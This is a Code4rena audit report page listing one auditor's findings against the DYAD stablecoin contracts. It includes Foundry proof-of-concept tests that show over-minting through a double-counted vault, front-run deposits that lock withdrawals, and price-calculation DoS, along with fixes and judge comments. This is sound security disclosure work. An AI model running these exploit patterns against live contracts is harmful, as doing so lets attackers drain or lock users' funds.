Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 31/183
Findings: 9
Award: $352.03
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L67-L91 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L64-L65 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/script/deploy/Deploy.V2.s.sol#L93-L94
In Deploy.V2.s.sol
vaults are added to licenser and kerosene manager. Licenser allows vaults to be added to vaults
(external collateral). Same vaults are added into kerosene manager in order to calculate the price of Kerosene token. The issue is that normal vaults can be added to vaultsKerosene
allowing user to mint more DYAD than he should be allowed to.
Please copy this test file into test/fork
folder and run forge test --match-contract "TestPOC" -vvvv
.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol"; import {DNft} from "../../src/core/DNft.sol"; import {Dyad} from "../../src/core/Dyad.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Vault} from "../../src/core/Vault.sol"; import {VaultWstEth} from "../../src/core/Vault.wsteth.sol"; import {KerosineManager} from "../../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol"; import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol"; import {ERC20Mock} from "../ERC20Mock.sol"; import {OracleMock} from "../OracleMock.sol"; contract MockDenominator { function denominator() external view returns (uint256) { return 100_000_000 * 1e18; } } contract TestPOC is Test, Parameters { address owner; address user1; address user2; Dyad dyad; Licenser vaultLicenser; DNft dnft; VaultManagerV2 vaultManager; Vault ethVault; VaultWstEth wstEth; ERC20Mock mockErc20; Kerosine mockKerosene; OracleMock oracleMock; KerosineManager kerosineManager; UnboundedKerosineVault unboundedKerosineVault; BoundedKerosineVault boundedKerosineVault; KerosineDenominator kerosineDenominator; MockDenominator mockDenominator; function setUp() public { owner = makeAddr("owner"); user1 = makeAddr("user1"); user2 = makeAddr("user2"); mockDenominator = new MockDenominator(); vaultLicenser = new Licenser(); dyad = new Dyad(vaultLicenser); dnft = new DNft(); vaultManager = new VaultManagerV2(dnft, dyad, vaultLicenser); mockErc20 = new ERC20Mock("MOCK", "MCK"); mockKerosene = new Kerosine(); oracleMock = new OracleMock(1000 * 1e8); ethVault = new Vault( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); wstEth = new VaultWstEth( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); kerosineManager = new KerosineManager(); kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth)); vaultManager.setKeroseneManager(kerosineManager); kerosineManager.transferOwnership(owner); unboundedKerosineVault = new UnboundedKerosineVault( vaultManager, mockKerosene, dyad, kerosineManager ); boundedKerosineVault = new BoundedKerosineVault( vaultManager, mockKerosene, kerosineManager ); kerosineDenominator = new KerosineDenominator(mockKerosene); unboundedKerosineVault.setDenominator( KerosineDenominator(address(mockDenominator)) ); unboundedKerosineVault.transferOwnership(owner); boundedKerosineVault.transferOwnership(owner); vaultLicenser.add(address(ethVault)); vaultLicenser.add(address(wstEth)); vaultLicenser.add(address(unboundedKerosineVault)); vaultLicenser.add(address(boundedKerosineVault)); vaultLicenser.transferOwnership(owner); vm.deal(owner, 100 ether); vm.deal(user1, 100 ether); vm.deal(user2, 100 ether); mockKerosene.transfer(user1, 500 ether); mockKerosene.transfer(user2, 500 ether); mockErc20.mint(user1, 100 ether); mockErc20.mint(user2, 100 ether); vm.prank(owner); vaultLicenser.add(address(vaultManager)); } function testVaultAddedTwice() public { address[] memory vaults = kerosineManager.getVaults(); assertEq(vaults.length, 2); assertEq(vaults[0], address(ethVault)); assertEq(vaults[1], address(wstEth)); assertTrue(vaultLicenser.isLicensed(address(ethVault))); assertTrue(vaultLicenser.isLicensed(address(wstEth))); assertTrue(vaultLicenser.isLicensed(address(unboundedKerosineVault))); vm.prank(user1); dnft.mintNft{value: 1 ether}(user1); assertEq(vaultManager.getTotalUsdValue(0), 0); vm.startPrank(user1); vaultManager.add(0, address(ethVault)); mockErc20.approve(address(vaultManager), 15 ether); vaultManager.deposit(0, address(ethVault), 15 ether); vaultManager.mintDyad(0, 10000 * 1e18, user1); vaultManager.addKerosene(0, address(ethVault)); vaultManager.mintDyad(0, 5000 * 1e18, user1); assertEq(vaultManager.getTotalUsdValue(0), 30000 ether); vm.stopPrank(); } }
As we can see, total value of user's assets is equal to $30000 (in my test 1 ether was set to $1000) even though user only deposited $15000 worth of ether into protocol.
User can mint more DYAD with less collateral.
If vault is licensed in Licenser, do not allow it to be added to vaultsKerosene
.
Example pseudo-code:
function addKerosene(uint id, address vault) external isDNftOwner(id) { if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); ++ if (vaultLicenser.isLicensed(vault)) revert(); if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); }
Error
#0 - c4-pre-sort
2024-04-28T17:56:49Z
JustDravee marked the issue as duplicate of #966
#1 - c4-pre-sort
2024-04-28T17:57:28Z
JustDravee marked the issue as duplicate of #966
#2 - c4-pre-sort
2024-04-29T08:37:48Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-04T09:46:25Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-29T11:19:51Z
koolexcrypto marked the issue as duplicate of #1133
#5 - c4-judge
2024-05-29T14:03:43Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: MrPotatoMagic
Also found by: 0x175, 0x486776, 0x77, 0xAkira, 0xAsen, 0xDemon, 0xabhay, 0xblack_bird, 0xlemon, 0xloscar01, 0xtankr, 3docSec, 4rdiii, Abdessamed, AlexCzm, Angry_Mustache_Man, BiasedMerc, Circolors, Cryptor, DMoore, DPS, DedOhWale, Dinesh11G, Dots, GalloDaSballo, Giorgio, Honour, Imp, Jorgect, Krace, KupiaSec, Mrxstrange, NentoR, Pechenite, PoeAudits, Ryonen, SBSecurity, Sabit, T1MOH, TheFabled, TheSavageTeddy, Tychai0s, VAD37, Vasquez, WildSniper, ZanyBonzy, adam-idarrha, alix40, asui, blutorque, btk, c0pp3rscr3w3r, caglankaan, carrotsmuggler, d_tony7470, dimulski, dinkras, djxploit, falconhoof, forgebyola, grearlake, imare, itsabinashb, josephdara, kartik_giri_47538, ke1caM, kennedy1030, koo, lionking927, ljj, niser93, pep7siup, poslednaya, ptsanev, sashik_eth, shaflow2, steadyman, turvy_fuzz, ubl4nk, valentin_s2304, web3km, xyz, y4y, zhaojohnson, zigtur
0.0234 USDC - $0.02
Current access control in deposit
function allows an attacker to block users funds.
When user deposits funds into vault, idToBlockOfLastDeposit
value is set to the current block number. With this value set to block.number, user cannot withdraw funds assigned to his dNft (deposit and withdrawal in same block is impossible). deposit
function allows anyone to deposit funds to any dNft. An attacker can use it to block all of user's withdrawals locking user's funds for as long as he wishes to.
To block user's funds an attacker has to simply front-run user's withdrawal transaction and make a deposit to user's dNft id. Deposit can be as small as 1 wei.
Please copy this test file into test/fork
folder and run forge test --match-contract "TestPOC" -vvvv
.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol"; import {DNft} from "../../src/core/DNft.sol"; import {Dyad} from "../../src/core/Dyad.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Vault} from "../../src/core/Vault.sol"; import {VaultWstEth} from "../../src/core/Vault.wsteth.sol"; import {KerosineManager} from "../../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol"; import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol"; import {ERC20Mock} from "../ERC20Mock.sol"; import {OracleMock} from "../OracleMock.sol"; contract MockDenominator { function denominator() external view returns (uint256) { return 100_000_000 * 1e18; } } contract TestPOC is Test, Parameters { address owner; address user1; address user2; Dyad dyad; Licenser vaultLicenser; DNft dnft; VaultManagerV2 vaultManager; Vault ethVault; VaultWstEth wstEth; ERC20Mock mockErc20; Kerosine mockKerosene; OracleMock oracleMock; KerosineManager kerosineManager; UnboundedKerosineVault unboundedKerosineVault; BoundedKerosineVault boundedKerosineVault; KerosineDenominator kerosineDenominator; MockDenominator mockDenominator; function setUp() public { owner = makeAddr("owner"); user1 = makeAddr("user1"); user2 = makeAddr("user2"); mockDenominator = new MockDenominator(); vaultLicenser = new Licenser(); dyad = new Dyad(vaultLicenser); dnft = new DNft(); vaultManager = new VaultManagerV2(dnft, dyad, vaultLicenser); mockErc20 = new ERC20Mock("MOCK", "MCK"); mockKerosene = new Kerosine(); oracleMock = new OracleMock(1000 * 1e8); ethVault = new Vault( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); wstEth = new VaultWstEth( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); kerosineManager = new KerosineManager(); kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth)); vaultManager.setKeroseneManager(kerosineManager); kerosineManager.transferOwnership(owner); unboundedKerosineVault = new UnboundedKerosineVault( vaultManager, mockKerosene, dyad, kerosineManager ); boundedKerosineVault = new BoundedKerosineVault( vaultManager, mockKerosene, kerosineManager ); kerosineDenominator = new KerosineDenominator(mockKerosene); unboundedKerosineVault.setDenominator( KerosineDenominator(address(mockDenominator)) ); unboundedKerosineVault.transferOwnership(owner); boundedKerosineVault.transferOwnership(owner); vaultLicenser.add(address(ethVault)); vaultLicenser.add(address(wstEth)); vaultLicenser.add(address(unboundedKerosineVault)); vaultLicenser.add(address(boundedKerosineVault)); vaultLicenser.transferOwnership(owner); vm.deal(owner, 100 ether); vm.deal(user1, 100 ether); vm.deal(user2, 100 ether); mockKerosene.transfer(user1, 500 ether); mockKerosene.transfer(user2, 500 ether); mockErc20.mint(user1, 100 ether); mockErc20.mint(user2, 100 ether); vm.prank(owner); vaultLicenser.add(address(vaultManager)); } function testBlockingUserWithdrawal() public { vm.prank(user1); dnft.mintNft{value: 1 ether}(user1); vm.startPrank(user1); vaultManager.add(0, address(ethVault)); mockErc20.approve(address(vaultManager), 15 ether); vaultManager.deposit(0, address(ethVault), 15 ether); vm.stopPrank(); vm.roll(block.number + 1); vm.prank(user1); vaultManager.withdraw(0, address(ethVault), 8 ether, user1); vm.roll(block.number + 1); vm.startPrank(user2); mockErc20.approve(address(vaultManager), 1); vaultManager.deposit(0, address(ethVault), 1); vm.stopPrank(); vm.prank(user1); vm.expectRevert(); vaultManager.withdraw(0, address(ethVault), 7 ether, user1); } }
Attacker was able to front-run user and force his transaction to be reverted.
User funds will be blocked for an indefinite period of time.
I recommend changing isValidDNft
modifier to isDNftOwner
modifier.
Example pseudo-code:
function deposit( uint id, address vault, uint amount ) external -- isValidDNft(id) ++ isDNftOwner(id) { idToBlockOfLastDeposit[id] = block.number; Vault _vault = Vault(vault); _vault.asset().safeTransferFrom(msg.sender, address(vault), amount); _vault.deposit(id, amount); }
Access Control
#0 - c4-pre-sort
2024-04-27T11:49:21Z
JustDravee marked the issue as duplicate of #489
#1 - c4-pre-sort
2024-04-29T09:32:48Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-05T20:38:13Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#3 - c4-judge
2024-05-05T20:39:23Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#4 - c4-judge
2024-05-05T21:19:33Z
koolexcrypto marked the issue as nullified
#5 - c4-judge
2024-05-05T21:19:40Z
koolexcrypto marked the issue as not nullified
#6 - c4-judge
2024-05-08T15:28:14Z
koolexcrypto marked the issue as duplicate of #1001
#7 - c4-judge
2024-05-11T19:50:36Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: Circolors
Also found by: 0x175, 0x486776, 0xAlix2, 0xSecuri, 0xShitgem, 0xfox, 0xlemon, 0xnilay, 3th, 4rdiii, Aamir, Al-Qa-qa, AlexCzm, Egis_Security, Evo, Honour, Infect3d, Josh4324, Limbooo, Mahmud, SBSecurity, TheSchnilch, ahmedaghadi, alix40, amaron, bbl4de, bhilare_, btk, carrotsmuggler, cinderblock, d3e4, dimulski, dinkras, ducanh2706, iamandreiski, itsabinashb, ke1caM, ljj, sashik_eth, shaflow2, steadyman, web3km, y4y
3.8221 USDC - $3.82
UnboundedKeroseneVault
to work properly needs to be added to KerosineManager
. Then, user can add it to vaultsKerosene
and deposit his Kerosene tokens to mint Dyad tokens againts them. However when Kerosene vault is added in vaultsKerosene
, it causes a DoS during price calculation.
If any function makes a call to UnboundedKeroseneVault
-> assetPrice
function, the transaction will be reverted. This is because assetPrice
function will try to call vault.oracle().decimals()
. Since oracle
variable is not implemented in UnboundedKeroseneVault
or any parent contract, every call to assetPrice
will result in DoS.
function assetPrice() public view override returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); uint numberOfVaults = vaults.length; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) / (10**vault.oracle().decimals()); } uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; }
When UnboundedKeroseneVault
will be added to vaultsKerosene
, every call to kerosineManager.getVaults()
will return Kerosene vault at some index. If it returns Kerosene vault it means that later in this function it will try to call itself. oracle
variable is not implemented, meaning every call will be reverted.
Please copy this test file into test/fork
folder and run forge test --match-contract "TestPOC" -vvvv
.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol"; import {DNft} from "../../src/core/DNft.sol"; import {Dyad} from "../../src/core/Dyad.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Vault} from "../../src/core/Vault.sol"; import {VaultWstEth} from "../../src/core/Vault.wsteth.sol"; import {KerosineManager} from "../../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol"; import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol"; import {ERC20Mock} from "../ERC20Mock.sol"; import {OracleMock} from "../OracleMock.sol"; contract MockDenominator { function denominator() external view returns (uint256) { return 1_000_000 * 1e18; } } contract TestPOC is Test, Parameters { address owner; address user1; address user2; Dyad dyad; Licenser vaultLicenser; DNft dnft; VaultManagerV2 vaultManager; Vault ethVault; VaultWstEth wstEth; ERC20Mock mockErc20; Kerosine mockKerosene; OracleMock oracleMock; KerosineManager kerosineManager; UnboundedKerosineVault unboundedKerosineVault; BoundedKerosineVault boundedKerosineVault; KerosineDenominator kerosineDenominator; MockDenominator mockDenominator; function setUp() public { owner = makeAddr("owner"); user1 = makeAddr("user1"); user2 = makeAddr("user2"); mockDenominator = new MockDenominator(); vaultLicenser = new Licenser(); dyad = new Dyad(vaultLicenser); dnft = new DNft(); vaultManager = new VaultManagerV2(dnft, dyad, vaultLicenser); mockErc20 = new ERC20Mock("MOCK", "MCK"); mockKerosene = new Kerosine(); oracleMock = new OracleMock(1000 * 1e8); ethVault = new Vault( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); wstEth = new VaultWstEth( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); kerosineManager = new KerosineManager(); kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth)); vaultManager.setKeroseneManager(kerosineManager); kerosineManager.transferOwnership(owner); unboundedKerosineVault = new UnboundedKerosineVault( vaultManager, mockKerosene, dyad, kerosineManager ); boundedKerosineVault = new BoundedKerosineVault( vaultManager, mockKerosene, kerosineManager ); kerosineDenominator = new KerosineDenominator(mockKerosene); unboundedKerosineVault.setDenominator( KerosineDenominator(address(mockDenominator)) ); unboundedKerosineVault.transferOwnership(owner); boundedKerosineVault.transferOwnership(owner); vaultLicenser.add(address(ethVault)); vaultLicenser.add(address(wstEth)); vaultLicenser.add(address(unboundedKerosineVault)); vaultLicenser.add(address(boundedKerosineVault)); vaultLicenser.transferOwnership(owner); vm.deal(owner, 100 ether); vm.deal(user1, 100 ether); vm.deal(user2, 100 ether); mockKerosene.transfer(user1, 50_000_000 ether); // mockKerosene.transfer(user2, 10 ether); mockErc20.mint(user1, 100 ether); mockErc20.mint(user2, 100 ether); vm.prank(owner); vaultLicenser.add(address(vaultManager)); } function testGetUsdValue() public { vm.startPrank(owner); kerosineManager.add(address(unboundedKerosineVault)); kerosineManager.remove(address(wstEth)); vm.stopPrank(); unboundedKerosineVault.getUsdValue(0); } }
Kerosene vaults will cause DoS. User will not be able to mint Dyad againts Kerosene tokens. Adding them to vaultsKerosene
will break protocol functionality. BoundedKerosineVault
will also be affected as it uses UnboundedKerosineVault
.
I recommend creating one more mapping in KerosineManger
. One mapping will be reponsible for holding vaults with external collateral such as WETH
and wsteth
. Other mapping will be designed to hold Kerosene vaults which will loop through vaults with external collateral in order to determine Kerosene token price. To calculate the price, loop through Kerosene vaults and ensure that Kerosene vault will not call itself.
DoS
#0 - c4-pre-sort
2024-04-27T18:25:38Z
JustDravee marked the issue as duplicate of #1048
#1 - c4-pre-sort
2024-04-28T18:38:45Z
JustDravee marked the issue as duplicate of #830
#2 - c4-pre-sort
2024-04-29T08:44:24Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-11T20:04:57Z
koolexcrypto marked the issue as satisfactory
#4 - c4-judge
2024-05-13T18:39:28Z
koolexcrypto changed the severity to 3 (High Risk)
🌟 Selected for report: 0xAlix2
Also found by: 0xfox, 0xlemon, 0xnev, 3docSec, Aamir, Abdessamed, Dudex_2004, Egis_Security, Evo, FastChecker, Honour, Jorgect, KupiaSec, Limbooo, MrPotatoMagic, SpicyMeatball, TheSchnilch, alix40, bhilare_, favelanky, forgebyola, ke1caM, kennedy1030, koo, oakcobalt, petro_1912, shikhar229169
32.4128 USDC - $32.41
User can withdraw tokens from vault, when at the end of the transaction his cr
is above 150%. When user tries to withdraw Kerosene tokens, withdraw function treats them as external collateral. It prevents user from withdrawing Kerosene tokens because it checks their value against NonKeroseneValue
, which Kerosene token isn't part of.
To test this issue we need to change UnboundedKerosineVault
as it contains other bug that did not allow to test this scenario.
function assetPrice() public view override returns (uint) { uint tvl; address[] memory vaults = kerosineManager.getVaults(); -- uint numberOfVaults = vaults.length; ++ uint numberOfVaults = 1; for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[i]); tvl += vault.asset().balanceOf(address(vault)) * vault.assetPrice() * 1e18 / (10**vault.asset().decimals()) -- / (10**vault.oracle().decimals()); ++ / (10**8); } uint numerator = tvl - dyad.totalSupply(); uint denominator = kerosineDenominator.denominator(); return numerator * 1e8 / denominator; }
We needto change these values in order to:
VaultManagerV2:getKeroseneValue
as unboundedKerosineVault will try to call itself after adding it into kerosineManager
vault.oracle().decimals()
as KerosineVault
doesn't have such variable and it would revert the transactionThese changes do not change the way the protocol works, it only allows to simplyfy testing this scenario.
In order for this test to work apply changes made to assetPrice
in UnboundedKerosineVault
contract in Vault.kerosine.unbounded
.
Please copy this test file into test/fork
folder and run forge test --match-contract "TestPOC" -vvvv
.
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console.sol"; import "forge-std/Test.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {VaultManagerV2} from "../../src/core/VaultManagerV2.sol"; import {DNft} from "../../src/core/DNft.sol"; import {Dyad} from "../../src/core/Dyad.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Vault} from "../../src/core/Vault.sol"; import {VaultWstEth} from "../../src/core/Vault.wsteth.sol"; import {KerosineManager} from "../../src/core/KerosineManager.sol"; import {UnboundedKerosineVault} from "../../src/core/Vault.kerosine.unbounded.sol"; import {BoundedKerosineVault} from "../../src/core/Vault.kerosine.bounded.sol"; import {Kerosine} from "../../src/staking/Kerosine.sol"; import {KerosineDenominator} from "../../src/staking/KerosineDenominator.sol"; import {IAggregatorV3} from "../../src/interfaces/IAggregatorV3.sol"; import {ERC20Mock} from "../ERC20Mock.sol"; import {OracleMock} from "../OracleMock.sol"; contract MockDenominator { function denominator() external view returns (uint256) { return 1_000_000 * 1e18; } } contract TestPOC is Test, Parameters { address owner; address user1; address user2; Dyad dyad; Licenser vaultLicenser; DNft dnft; VaultManagerV2 vaultManager; Vault ethVault; VaultWstEth wstEth; ERC20Mock mockErc20; Kerosine mockKerosene; OracleMock oracleMock; KerosineManager kerosineManager; UnboundedKerosineVault unboundedKerosineVault; BoundedKerosineVault boundedKerosineVault; KerosineDenominator kerosineDenominator; MockDenominator mockDenominator; function setUp() public { owner = makeAddr("owner"); user1 = makeAddr("user1"); user2 = makeAddr("user2"); mockDenominator = new MockDenominator(); vaultLicenser = new Licenser(); dyad = new Dyad(vaultLicenser); dnft = new DNft(); vaultManager = new VaultManagerV2(dnft, dyad, vaultLicenser); mockErc20 = new ERC20Mock("MOCK", "MCK"); mockKerosene = new Kerosine(); oracleMock = new OracleMock(1000 * 1e8); ethVault = new Vault( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); wstEth = new VaultWstEth( vaultManager, mockErc20, IAggregatorV3(address(oracleMock)) ); kerosineManager = new KerosineManager(); kerosineManager.add(address(ethVault)); kerosineManager.add(address(wstEth)); vaultManager.setKeroseneManager(kerosineManager); kerosineManager.transferOwnership(owner); unboundedKerosineVault = new UnboundedKerosineVault( vaultManager, mockKerosene, dyad, kerosineManager ); boundedKerosineVault = new BoundedKerosineVault( vaultManager, mockKerosene, kerosineManager ); kerosineDenominator = new KerosineDenominator(mockKerosene); unboundedKerosineVault.setDenominator( KerosineDenominator(address(mockDenominator)) ); unboundedKerosineVault.transferOwnership(owner); boundedKerosineVault.transferOwnership(owner); vaultLicenser.add(address(ethVault)); vaultLicenser.add(address(wstEth)); vaultLicenser.add(address(unboundedKerosineVault)); vaultLicenser.add(address(boundedKerosineVault)); vaultLicenser.transferOwnership(owner); vm.deal(owner, 100 ether); vm.deal(user1, 100 ether); vm.deal(user2, 100 ether); mockKerosene.transfer(user1, 50_000_000 ether); // mockKerosene.transfer(user2, 10 ether); mockErc20.mint(user1, 100 ether); mockErc20.mint(user2, 100 ether); vm.prank(owner); vaultLicenser.add(address(vaultManager)); } function testUserCannotWithdrawKeroseneTokens() public { vm.startPrank(owner); kerosineManager.add(address(unboundedKerosineVault)); kerosineManager.remove(address(wstEth)); vm.stopPrank(); vm.prank(user1); dnft.mintNft{value: 1 ether}(user1); vm.startPrank(user1); vaultManager.add(0, address(ethVault)); mockErc20.approve(address(vaultManager), 15 ether); vaultManager.deposit(0, address(ethVault), 15 ether); vaultManager.mintDyad(0, 10000 * 1e18, user1); vaultManager.addKerosene(0, address(unboundedKerosineVault)); mockKerosene.approve(address(vaultManager), 5_000_000 ether); vaultManager.deposit( 0, address(unboundedKerosineVault), 5_000_000 ether ); // We wait 1 block vm.roll(block.number + 1); vm.expectRevert(); vaultManager.withdraw( 0, address(unboundedKerosineVault), 5_000_000 ether, user1 ); vm.stopPrank(); } }
We can see that user's position is fully collateralised by external collateral (150% of Dyad value is covered by WETH). When user tries to withdraw additional collateral in form of Kerosene withdraw
function reverts. It treats Kerosene tokens same as WETH and assumes that user tries to withdraw external collateral.
User can't withdraw Kerosene tokens from vaults.
Check non kerosene value after user withdraws the funds and then revert (same as cr check).
Example pseudo-code:
function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 / 10**_vault.oracle().decimals() / 10**_vault.asset().decimals(); -- if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); ++ if (getNonKeroseneValue(id) < dyadMinted) revert NotEnoughExoCollat(); }
Error
#0 - c4-pre-sort
2024-04-26T21:17:53Z
JustDravee marked the issue as duplicate of #397
#1 - c4-pre-sort
2024-04-29T08:48:11Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:22:46Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-13T18:33:03Z
koolexcrypto changed the severity to 3 (High Risk)
🌟 Selected for report: shikhar229169
Also found by: 0x486776, 0xSecuri, 0xfox, 3th, Circolors, Honour, KupiaSec, Maroutis, Sancybars, Stormreckson, Strausses, ke1caM, kennedy1030
283.3687 USDC - $283.37
https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L165 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L150 https://github.com/code-423n4/2024-04-dyad/blob/cd48c684a58158de444b24854ffd8f07d046c31b/src/core/VaultManagerV2.sol#L214
To maintain healthy position user should keep his cr
at 150%. Another requirement is that user's external collateral (weth, wsteth) should at least cover minted value of DYAD ($100 of DYAD, user should hold $100 of external collateral, rest in Kerosene token).
We can see this requirement in mintDyad
function:
function mintDyad( uint id, uint amount, address to ) external isDNftOwner(id) { uint newDyadMinted = dyad.mintedDyad(address(this), id) + amount; if (getNonKeroseneValue(id) < newDyadMinted) revert NotEnoughExoCollat(); dyad.mint(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); emit MintDyad(id, amount, to); }
if (getNonKeroseneValue(id) < newDyadMinted) revert NotEnoughExoCollat();
or in withdraw function that does not allow user to withdraw more than value (external collateral) required to cover DYAD minted amount:
function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 / 10**_vault.oracle().decimals() / 10**_vault.asset().decimals(); if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); }
if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat();
In current implementation of liquidate function, user's external collateral value can drop below required level and he will not be liquidated as long as he has correct level of cr
.
We can see that only requirement for liquidating a user is cr < MIN_COLLATERIZATION_RATIO
.
function liquidate( uint id, uint to ) external isValidDNft(id) isValidDNft(to) { uint cr = collatRatio(id); if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh(); dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id)); uint cappedCr = cr < 1e18 ? 1e18 : cr; uint liquidationEquityShare = (cappedCr - 1e18).mulWadDown(LIQUIDATION_REWARD); uint liquidationAssetShare = (liquidationEquityShare + 1e18).divWadDown(cappedCr); uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare); vault.move(id, to, collateral); } emit Liquidate(id, msg.sender, to); }
EXAMPLE:
mintDyad
, cr
is 200%).cr
is 150%).NonKeroseneValue
needed to collaterlise the debt however cannot be liquidated because his cr
is still at 150% even though external collateral value dropped by 50%.DYAD becomes undercollateralised in terms of external collateral (weth, wsteth). It can lead to DYAD depeg.
I recommend to create a mechansim that handles this scenario. Calculate the difference between mintedDyad
and NonKeroseneValue
. Allow users to liquidate part of the DYAD needed to return NonKeroseneValue
back to desired level.
Error
#0 - c4-pre-sort
2024-04-29T05:54:46Z
